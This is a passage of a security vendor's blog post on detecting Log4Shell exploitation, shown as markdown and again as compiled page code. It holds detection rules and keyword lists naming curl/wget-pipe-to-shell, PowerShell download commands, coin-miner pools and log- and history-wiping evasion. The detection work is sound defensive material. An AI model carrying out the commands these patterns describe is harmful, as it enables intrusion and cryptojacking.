Deletion](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml)\n\n[Potential Reverse Shell Activity via Terminal](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_revershell_via_shell_cmd.toml)\n\n[Suspicious JAVA Child Process](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_suspicious_jar_child_process.toml)\n\n[Attempt to Disable Syslog Service](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml)\n\n## Elastic Endgame EQL Queries\n\n**Suspicious Java Netcon followed by Unusual Child Process**\n\n```\nsequence with maxspan=5s\n [network where process_name == \"java*\" and destination_port in (1389, 389, 1099, 53, 5353) and\n destination_address != \"127.0.0.1\" and not destination_address == \"::1\"] by pid\n [process where opcode in (1,5) and\n /* Suspicious JAVA child process */\n parent_process_name == \"java*\" and\n process_name in (\"sh\", \"bash\", \"dash\", \"ksh\", \"tcsh\", \"zsh\", \"curl\", \"perl*\", \"python*\", \"ruby*\", \"php*\", \"wget\", \"powershell.exe\", \"cmd.exe\")] by ppid\n```\n\n**Suspicious Shell Commands Execution via Java**\n\n```\nprocess where opcode in (1,5) and\n parent_process_name == \"java*\" and\n /* Ingress tools transfer via common shell command interpreters */\n\n /* linux or macos */\n (\n (process_name in (\"sh\", \"bash\", \"python\") and\n wildcard(command_line, \"*curl*|*sh*\", \"*wget*|*bash\", \"*curl*|*bash*\", \"*curl*|*bash*\", \"*http*|*sh*\", \"*python*http*\")) or\n /* windows */\n (process_name in (\"powershell.exe\", \"pwsh.exe\", \"cmd.exe\") and\n wildcard(command_line,\"*.downloadstring*\", \"*.downloadfile*\", \"*.downloaddata*\", \"*BitsTransfer*\", \"* -enc*\", \"* IEX*\", \"*wp-content*\", \"*wp-admin*\", \"*wp-includes*\", \"*$*$*$*$*$*\", \"*^*^*^*^*^*^*^*^*^*\",\"*.replace*\", \"*start-process*\", \"*http*\", \"*cmd*powershell*\")))\n```\n\n**Common Coin Miners as a descendant of JAVA**\n\n```\nprocess where opcode in (1, 3, 4, 5) and\n descendant of [process where opcode in (1, 3, 4, 5) and process_name == \"java*\"] and\n wildcard(command_line, \"* pool.*\", \"*-u*--coin*\", \"*.xmr.*\", \"*.xmr1.*\", \"*stratum*\", \"*elitter.net*\", \"*cryptonight*\", \"*-a scrypt*\", \"*stratum1*\",\n\"*-userpass*\", \"*-max-cpu-usage*\", \"*qhor.net*\", \"*-wallet*pool*\", \"*--donate-level*\", \"*supportxmr.com*\",\n/* evasion commands */\n\"*base64*\", \"*history -c*\", \"*ld.so.preload*\", \"*nmi_watchdog*\", \"*ufw*disable*\", \"*.bash_history*\", \"*chmod*+x*\",\n\"*tor2web*\", \"*kill*-9*\", \"*python*-c*http*\")\n```\n\n**Untrusted File Execution via JAVA**\n\n```\nsequence with maxspan=2m\n [ file where opcode != 2 and file_name == \"*.exe\" and process_name == \"java*\"] by file_path\n [ process where opcode in (1,5)] by process_path\n```\n\n## Community Detections\n\nA number of community members discussing widespread exploitation of the vulnerability have provided insights into a number of early detection methods that analysts may leverage to identify if systems they are using have been exploited or are under active exploitation:\n\n- A series of [payloads](https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890) have been shared by the [GreyNoise team](https://twitter.com/GreyNoiseIO/status/1469430126819618821), including payloads containing both encoded and decoded variants for analysts looking to explore logs stored within their systems. This has been complemented with a list of initial [tagged IPs](https://twitter.com/GreyNoiseIO/status/1469334738225741832) attempting exploitation of the vulnerability.\n\n- [Florian Roth of Nextron Systems](https://twitter.com/cyb3rops/status/1469243580929740802?s=21) has provided a [series of checks](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b) for local exploitation using grep / zgrep, alongside some initial YARA signatures in a Gist listed on his Github account. Florian also shared a method for generating [Thinkst](https://canarytokens.org/generate#) [CanaryTokens](https://twitter.com/cyb3rops/status/1469405846010572816) to test systems you may manage for exploitability.\n\n- [Rob Fuller (Mubix)](https://twitter.com/mubix) has shared a list of known file hashes for vulnerable versions of the framework, [here](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes).\n\n## Additional Mitigation Strategies\n\nOutside of the recommended guidance from the Apache team regarding the deployment of the latest, patched versions of the Log4j2 framework to update, a number of mitigations have been widely suggested to prevent exploitation:\n\n- [Fastly](https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) have suggested checking if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0.\n\n- To prevent lateral movement from a vulnerable host, or exploitation over the network, limiting connectivity from potentially vulnerable systems to external resources to trusted applications and / or services is recommended.\n\n## Thank you, from Elastic Security.\n\nWe want to thank all of the security teams across the globe for your tireless work today and through the weekend, especially those of you listed in this post. Openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability. We want you to know we are here with you every step of the way.\n\nExisting Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/free#quick-starts) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals). You can always get started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration). Or [download](https://www.elastic.co/downloads/) the self-managed version of the Elastic Stack for free.\n\n## Reference Material\n\n[https://www.lunasec.io/docs/blog/log4j-zero-day/](https://www.lunasec.io/docs/blog/log4j-zero-day/)\n\n[https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability](https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability)\n\n[https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/](https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/)\n\n[https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)\n\n[https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228](https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228)\n\n[https://logging.apache.org/log4j/2.x/security.html#](https://logging.apache.org/log4j/2.x/security.html#)\n\n[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},a=(t,e,o,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of u(e))!g.call(t,i)\u0026\u0026i!==o\u0026\u0026r(t,i,{get:()=\u003ee[i],enumerable:!(s=p(e,i))||s.enumerable});return t};var b=(t,e,o)=\u003e(o=t!=null?d(m(t)):{},a(e||!t||!t.__esModule?r(o,\"default\",{value:t,enumerable:!0}):o,t)),y=t=\u003ea(r({},\"__esModule\",{value:!0}),t);var c=f((A,l)=\u003e{l.exports=_jsx_runtime});var j={};w(j,{default:()=\u003e_,frontmatter:()=\u003ev});var n=b(c()),v={title:\"Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security\",slug:\"detecting-log4j2-with-elastic-security\",date:\"2022-11-22\",description:\"This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment. Further updates will be provided to this post as we learn more.\",author:[{slug:\"jake-king\"},{slug:\"samir-bousseaden\"}],image:\"blog-security-detection-720x420.png\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function h(t){let e=Object.assign({blockquote:\"blockquote\",ul:\"ul\",li:\"li\",em:\"em\",a:\"a\",h2:\"h2\",p:\"p\",strong:\"strong\",pre:\"pre\",code:\"code\",img:\"img\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.em,{children:\"To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory\"}),(0,n.jsx)(e.a,{href:\"https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"here.\"})})]}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.em,{children:\"This blog has been updated (Dec. 17, 2021) with further detection and hunting improvements since its initial publish.\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,n.jsx)(e.p,{children:\"This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Further updates will be provided to this post as we learn more. This version is accurate as of Tuesday, December 14, 2021. Updates from Apache may be investigated directly via the \",(0,n.jsx)(e.a,{href:\"https://logging.apache.org/log4j/2.x/security.html#\",rel:\"nofollow\",children:\"security page\"}),\" for Log4j2.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"summary-of-cve-2021-44228-log4shell\",children:\"Summary of CVE-2021-44228 (Log4Shell)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Log4j2 is an open source logging framework incorporated into many Java based applications on both end-user systems and servers. In \",(0,n.jsx)(e.a,{href:\"https://logging.apache.org/log4j/2.x/security.html#\",rel:\"nofollow\",children:\"late November 2021\"}),\", Chen Zhaojun of Alibaba identified a remote code execution vulnerability, ultimately being reported under the CVE ID : \",(0,n.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2021-44228\",rel:\"nofollow\",children:\"CVE-2021-44228\"}),\", released to the public on December 10, 2021. The vulnerability is exploited through improper deserialization of user-input passed into the framework. It permits remote code execution and it can allow an attacker to leak sensitive data, such as environment variables, or execute malicious software on the target system.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The identified vulnerability impacts all versions of Log4j2 from version 2.0-beta9 to version 2.14.1. Early methods to patch the issue resulted in a number of release candidates, culminating in recommendations to upgrade the framework to Log4j2 2.15.0-rc2 at the time of this post.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Given the trivial complexity and the nature of observed widespread exploitation, mitigation should be considered critical in any environment that has identified software leveraging vulnerable versions of Log4j2.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"detecting-exploitation-of-log4shell-in-elastic-security\",children:\"Detecting Exploitation of Log4Shell in Elastic Security\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security users can use the following Event Correlation detection rule to identify active exploitation of the Log4j2 vulnerability. Depending on the format of the host based event data you may need to modify this detection to match your data fields.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection Rule when using Endpoint data\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence by host.id with maxspan=1m\n [network where event.action == \"connection_attempted\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection Rule when using Auditbeat data\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence by agent.id with maxspan=1m\n [network where event.action == \"connected-to\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection rule when using Endgame streamed events\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence by agent.id with maxspan=1m\n [network where event.category == \"network\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This detection rule looks for a sequence of an outbound connection attempt to standard ports for LDAP, RMI and DNS (often abused via recently observed \",(0,n.jsx)(e.a,{href:\"https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf\",rel:\"nofollow\",children:\"JAVA/JNDI\"}),\" injection attacks) followed by a child process of the same Java process instance.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Now, let\\u2019s demonstrate how this rule detects exploitation of the log42j vulnerability:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-log4j2-with-elastic-security/blog-elastic-security-1.jpg\",alt:\"The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload\",width:\"1134\",height:\"196\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload targeting an \",(0,n.jsx)(e.a,{href:\"https://github.com/christophetd/log4shell-vulnerable-app\",rel:\"nofollow\",children:\"example vulnerable application\"}),\" created by \",(0,n.jsx)(e.a,{href:\"https://github.com/christophetd\",rel:\"nofollow\",children:\"Christophe Tafani-Dereeper\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-log4j2-with-elastic-security/blog-elastic-security-2.jpg\",alt:\"This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.\",width:\"1440\",height:\"584\"})}),`\n`,(0,n.jsx)(e.p,{children:\"This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-log4j2-with-elastic-security/blog-elastic-security-3.jpg\",alt:\"The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.\",width:\"1172\",height:\"532\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"update-detection--hunting-improvements\",children:\"Update: Detection \u0026 hunting improvements\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Suspicious Shell Commands Execution via Java\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Based on observed publicly known malicious Java classes served via log4j exploit, you can hunt for suspicious shell scripts and ingress tool transfer commands:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and\n process.parent.name : \"java*\" and\n\n /* Ingress tools transfer via common shell command interpreters */\n\n /* linux or macos */\n (\n (process.name : (\"sh\", \"bash\", \"python*\") and\n process.command_line : (\"*curl*|*sh*\", \"*wget*|*bash\", \"*curl*|*bash*\", \"*curl*|*bash*\", \"*http*|*sh*\", \"*python*http*\")) or\n\n /* windows */\n (process.name : (\"powershell.exe\", \"pwsh.exe\", \"cmd.exe\") and\n process.command_line : (\"*.downloadstring*\", \"*.downloadfile*\", \"*.downloaddata*\", \"*BitsTransfer*\", \"* -enc*\", \"* IEX*\", \"*wp-content*\", \"*wp-admin*\", \"*wp-includes*\", \"*$*$*$*$*$*\", \"*^*^*^*^*^*^*^*^*^*\", \"*.replace*\", \"*start-process*\", \"*http*\", \"*cmd*powershell*\")))\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Untrusted File Execution via JAVA\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Identifies when a JAVA interpreter creates an executable file (PE/ELF) and the file is subsequently executed.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection Rule when using Endpoint data\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence by host.id with maxspan=5m\n [ file where event.type != \"deletion\" and\n process.name : (\"java\", \"java.exe\", \"javaw.exe\") and\n\n (file.extension : (\"exe\", \"com\", \"pif\", \"scr\") or\n /* Match Windows PE files by header data (MZ) */\n file.Ext.header_bytes : (\"4d5a*\", \"7f454c46*\")) and\n\n not file.path : (\"?:\\\\\\\\Program Files\\\\\\\\*\",\n \"?:\\\\\\\\Program Files (x86)\\\\\\\\*\") ] by file.path\n [ process where event.type == \"start\" and\n not process.code_signature.trusted == true ] by process.executable\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection rule when using Endgame streamed events\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence by agent.id with maxspan=5m\n [ file where event.type != \"deletion\"\n process.name : (\"java\", \"java.exe\", \"javaw.exe\")] by file_path\n [ process where event.type == \"start\" and\n not process.code_signature.trusted == true] by process_path\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Potential CoinMiner activity\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Process with command line common to cryptocurrency miner (most observed campaigns leveraging log4j exploit are coinminers):\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where event.type == \"start\" and\n process.command_line :\n (\"* pool.*\", \"*-u*--coin*\", \"*.xmr.*\", \"*.xmr1.*\",\n \"*stratum*\", \"*elitter.net*\", \"*cryptonight*\",\n \"*-a scrypt*\", \"*stratum1*\", \"*-userpass*\", \"*-max-cpu-usage*\",\n\t \"*qhor.net*\", \"*-wallet*pool*\", \"*--donate-level*\", \"*supportxmr.com*\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Other relevant post exploitation detections :\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml\",rel:\"nofollow\",children:\"Attempt to Disable IPTables or Firewall\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml\",rel:\"nofollow\",children:\"Tampering of Bash Command-Line History\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml\",rel:\"nofollow\",children:\"System Log File Deletion\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_revershell_via_shell_cmd.toml\",rel:\"nofollow\",children:\"Potential Reverse Shell Activity via Terminal\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_suspicious_jar_child_process.toml\",rel:\"nofollow\",children:\"Suspicious JAVA Child Process\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml\",rel:\"nofollow\",children:\"Attempt to Disable Syslog Service\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"elastic-endgame-eql-queries\",children:\"Elastic Endgame EQL Queries\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Suspicious Java Netcon followed by Unusual Child Process\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence with maxspan=5s\n [network where process_name == \"java*\" and destination_port in (1389, 389, 1099, 53, 5353) and\n destination_address != \"127.0.0.1\" and not destination_address == \"::1\"] by pid\n [process where opcode in (1,5) and\n /* Suspicious JAVA child process */\n parent_process_name == \"java*\" and\n process_name in (\"sh\", \"bash\", \"dash\", \"ksh\", \"tcsh\", \"zsh\", \"curl\", \"perl*\", \"python*\", \"ruby*\", \"php*\", \"wget\", \"powershell.exe\", \"cmd.exe\")] by ppid\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Suspicious Shell Commands Execution via Java\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where opcode in (1,5) and\n parent_process_name == \"java*\" and\n /* Ingress tools transfer via common shell command interpreters */\n\n /* linux or macos */\n (\n (process_name in (\"sh\", \"bash\", \"python\") and\n wildcard(command_line, \"*curl*|*sh*\", \"*wget*|*bash\", \"*curl*|*bash*\", \"*curl*|*bash*\", \"*http*|*sh*\", \"*python*http*\")) or\n /* windows */\n (process_name in (\"powershell.exe\", \"pwsh.exe\", \"cmd.exe\") and\n wildcard(command_line,\"*.downloadstring*\", \"*.downloadfile*\", \"*.downloaddata*\", \"*BitsTransfer*\", \"* -enc*\", \"* IEX*\", \"*wp-content*\", \"*wp-admin*\", \"*wp-includes*\", \"*$*$*$*$*$*\", \"*^*^*^*^*^*^*^*^*^*\",\"*.replace*\", \"*start-process*\", \"*http*\", \"*cmd*powershell*\")))\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Common Coin Miners as a descendant of JAVA\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`process where opcode in (1, 3, 4, 5) and\n descendant of [process where opcode in (1, 3, 4, 5) and process_name == \"java*\"] and\n wildcard(command_line, \"* pool.*\", \"*-u*--coin*\", \"*.xmr.*\", \"*.xmr1.*\", \"*stratum*\", \"*elitter.net*\", \"*cryptonight*\", \"*-a scrypt*\", \"*stratum1*\",\n\"*-userpass*\", \"*-max-cpu-usage*\", \"*qhor.net*\", \"*-wallet*pool*\", \"*--donate-level*\", \"*supportxmr.com*\",\n/* evasion commands */\n\"*base64*\", \"*history -c*\", \"*ld.so.preload*\", \"*nmi_watchdog*\", \"*ufw*disable*\", \"*.bash_history*\", \"*chmod*+x*\",\n\"*tor2web*\", \"*kill*-9*\", \"*python*-c*http*\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Untrusted File Execution via JAVA\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sequence with maxspan=2m\n [ file where opcode != 2 and file_name == \"*.exe\" and process_name == \"java*\"] by file_path\n [ process where opcode in (1,5)] by process_path\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"community-detections\",children:\"Community Detections\"}),`\n`,(0,n.jsx)(e.p,{children:\"A number of community members discussing widespread exploitation of the vulnerability have provided insights into a number of early detection methods that analysts may leverage to identify if systems they are using have been exploited or are under active exploitation:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[\"A series of \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890\",rel:\"nofollow\",children:\"payloads\"}),\" have been shared by the \",(0,n.jsx)(e.a,{href:\"https://twitter.com/GreyNoiseIO/status/1469430126819618821\",rel:\"nofollow\",children:\"GreyNoise team\"}),\", including payloads containing both encoded and decoded variants for analysts looking to explore logs stored within their systems. This has been complemented with a list of initial \",(0,n.jsx)(e.a,{href:\"https://twitter.com/GreyNoiseIO/status/1469334738225741832\",rel:\"nofollow\",children:\"tagged IPs\"}),\" attempting exploitation of the vulnerability.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://twitter.com/cyb3rops/status/1469243580929740802?s=21\",rel:\"nofollow\",children:\"Florian Roth of Nextron Systems\"}),\" has provided a \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b\",rel:\"nofollow\",children:\"series of checks\"}),\" for local exploitation using grep / zgrep, alongside some initial YARA signatures in a Gist listed on his Github account. Florian also shared a method for generating \",(0,n.jsx)(e.a,{href:\"https://canarytokens.org/generate#\",rel:\"nofollow\",children:\"Thinkst\"}),\" \",(0,n.jsx)(e.a,{href:\"https://twitter.com/cyb3rops/status/1469405846010572816\",rel:\"nofollow\",children:\"CanaryTokens\"}),\" to test systems you may manage for exploitability.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://twitter.com/mubix\",rel:\"nofollow\",children:\"Rob Fuller (Mubix)\"}),\" has shared a list of known file hashes for vulnerable versions of the framework, \",(0,n.jsx)(e.a,{href:\"https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"additional-mitigation-strategies\",children:\"Additional Mitigation Strategies\"}),`\n`,(0,n.jsx)(e.p,{children:\"Outside of the recommended guidance from the Apache team regarding the deployment of the latest, patched versions of the Log4j2 framework to update, a number of mitigations have been widely suggested to prevent exploitation:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j\",rel:\"nofollow\",children:\"Fastly\"}),\" have suggested checking if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"To prevent lateral movement from a vulnerable host, or exploitation over the network, limiting connectivity from potentially vulnerable systems to external resources to trusted applications and / or services is recommended.\"}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"thank-you-from-elastic-security\",children:\"Thank you, from Elastic Security.\"}),`\n`,(0,n.jsx)(e.p,{children:\"We want to thank all of the security teams across the globe for your tireless work today and through the weekend, especially those of you listed in this post. Openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability. We want you to know we are here with you every step of the way.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Existing Elastic Security can access these capabilities within the product. If you\\u2019re new to Elastic Security, take a look at our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/training/free#quick-starts\",rel:\"nofollow\",children:\"Quick Start guides\"}),\" (bite-sized training videos to get you started quickly) or our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/training/free#fundamentals\",rel:\"nofollow\",children:\"free fundamentals training courses\"}),\". You can always get started with a \",(0,n.jsx)(e.a,{href:\"https://cloud.elastic.co/registration\",rel:\"nofollow\",children:\"free 14-day trial of Elastic Cloud\"}),\". Or \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/downloads/\",rel:\"nofollow\",children:\"download\"}),\" the self-managed version of the Elastic Stack for free.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"reference-material\",children:\"Reference Material\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://www.lunasec.io/docs/blog/log4j-zero-day/\",rel:\"nofollow\",children:\"https://www.lunasec.io/docs/blog/log4j-zero-day/\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability\",rel:\"nofollow\",children:\"https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/\",rel:\"nofollow\",children:\"https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/\",rel:\"nofollow\",children:\"https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://w